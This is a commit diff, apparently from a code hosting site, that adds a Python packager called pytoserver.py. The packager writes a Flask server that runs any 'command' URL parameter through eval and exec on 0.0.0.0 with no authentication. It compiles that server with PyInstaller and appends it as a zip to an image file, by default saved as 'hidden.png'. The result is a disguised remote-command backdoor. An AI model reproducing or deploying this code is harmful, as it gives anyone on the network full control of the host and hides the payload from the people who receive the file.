shethjenil commited on
Commit
9b0cc9e
1 Parent(s): 56b952a

Upload 2 files

Browse files
Files changed (3) hide show
  1. .gitattributes +1 -0
  2. pytoserver.exe +3 -0
  3. pytoserver.py +87 -0
.gitattributes CHANGED
@@ -49,3 +49,4 @@ HandWriteMachine.exe filter=lfs diff=lfs merge=lfs -text
49
  BROWSER.exe filter=lfs diff=lfs merge=lfs -text
50
  CLOUDSOFTWARE.exe filter=lfs diff=lfs merge=lfs -text
51
  hiddensoftware.exe filter=lfs diff=lfs merge=lfs -text
 
 
49
  BROWSER.exe filter=lfs diff=lfs merge=lfs -text
50
  CLOUDSOFTWARE.exe filter=lfs diff=lfs merge=lfs -text
51
  hiddensoftware.exe filter=lfs diff=lfs merge=lfs -text
52
+ pytoserver.exe filter=lfs diff=lfs merge=lfs -text
pytoserver.exe ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:72afab0ec8a7c48d14695a8211b9f2805486905efad986a835a79041a1fcb7d0
3
+ size 10885761
pytoserver.py ADDED
@@ -0,0 +1,87 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from tkinter.messagebox import showwarning
2
+ from subprocess import Popen , DEVNULL ,PIPE
3
+ import sys
4
+ if Popen("pyinstaller",stderr=PIPE).communicate()[0]:
5
+ if not Popen("pip",stderr=PIPE).communicate()[0]:
6
+ Popen("pip install pyinstaller",stderr=DEVNULL,stdout=DEVNULL).communicate()
7
+ else:
8
+ showwarning("Pip not found","Python and Pip is required to run this program")
9
+ sys.exit()
10
+ from subprocess import Popen , DEVNULL
11
+ from zipfile import ZipFile , ZIP_DEFLATED
12
+ from os import walk , path , remove , getcwd
13
+ from shutil import rmtree
14
+ from io import BytesIO
15
+ from argparse import ArgumentParser
16
+ argparse = ArgumentParser()
17
+ argparse.add_argument("-c","--console",help="Run as console app",action="store_true")
18
+ argparse.add_argument("-f","--folder",help="Folder to package",type=str)
19
+ argparse.add_argument("-i","--icon",help="Icon file",type=str)
20
+ argparse.add_argument("-o","--output",help="Output file",type=str)
21
+ args = argparse.parse_args()
22
+ def save_zip(directory1,directory2):
23
+ bytes = BytesIO()
24
+ zipf = ZipFile(bytes, 'w', ZIP_DEFLATED)
25
+ for root, _, files in walk(directory1):
26
+ for file in files:
27
+ zipf.write(path.join(root, file), path.relpath(path.join(root, file), path.join(directory1, '.')))
28
+ for root, _, files in walk(directory2):
29
+ for file in files:
30
+ zipf.write(path.join(root, file), path.relpath(path.join(root, file), path.join(directory2, '.')))
31
+ zipf.close()
32
+ return bytes.getvalue()
33
+
34
+ def package_app(folderpath: str,iconpath: str,saveappimage: str):
35
+ open(rf"{folderpath}\app.py","w+").write("""
36
+ from argparse import ArgumentParser
37
+ import flask as appflask
38
+ from os import _exit
39
+ import logging
40
+ from main import *
41
+ app = appflask.Flask(__name__)
42
+ parser = ArgumentParser()
43
+ parser.add_argument("-p", "--port", dest="port", type=int, default=12345, help="port to listen on")
44
+ parser.add_argument("-a", "--address", dest="address", type=str, default="0.0.0.0", help="address to listen on")
45
+ def run_command(command:str)->str:
46
+ if command == "exit()":
47
+ _exit(0)
48
+ try:
49
+ result = eval(command,globals())
50
+ if result:
51
+ return str(result)
52
+ else:
53
+ return ""
54
+ except SyntaxError:
55
+ try:
56
+ exec(command,globals())
57
+ return ""
58
+ except Exception as e:
59
+ return str(e)
60
+ except Exception as e:
61
+ return str(e)
62
+
63
+ @app.route("/")
64
+ def index():
65
+ command = appflask.request.args.get("command")
66
+ if command:
67
+ return run_command(command)
68
+ else:
69
+ return appflask.redirect("?command=print(1)")
70
+
71
+ print("Running a app")
72
+ log = logging.getLogger('werkzeug')
73
+ log.setLevel(logging.ERROR)
74
+ parser = parser.parse_args()
75
+ app.run(host=parser.address,port=parser.port)
76
+ """)
77
+ Popen(["pyinstaller","--noconfirm","--onedir","--console","--name","main","--contents-directory",".","--clean","--disable-windowed-traceback","--runtime-tmpdir",".","--distpath",getcwd(),folderpath+r"\app.py"],stdout=DEVNULL,stderr=DEVNULL).communicate()
78
+ rmtree("build")
79
+ remove("main.spec")
80
+ remove(folderpath+r"\app.py")
81
+ open(saveappimage,"wb").write(open(iconpath,"rb").read()+save_zip("main",folderpath))
82
+ rmtree("main")
83
+ if args.console:
84
+ package_app(args.folder,args.icon,args.output)
85
+ else:
86
+ from tkinter.filedialog import askdirectory , askopenfilename , asksaveasfilename
87
+ package_app(askdirectory(),askopenfilename(filetypes=[("Image files",["*.png","*.jpg","*.jpeg"])]),asksaveasfilename(defaultextension=".png",initialfile="hidden.png"))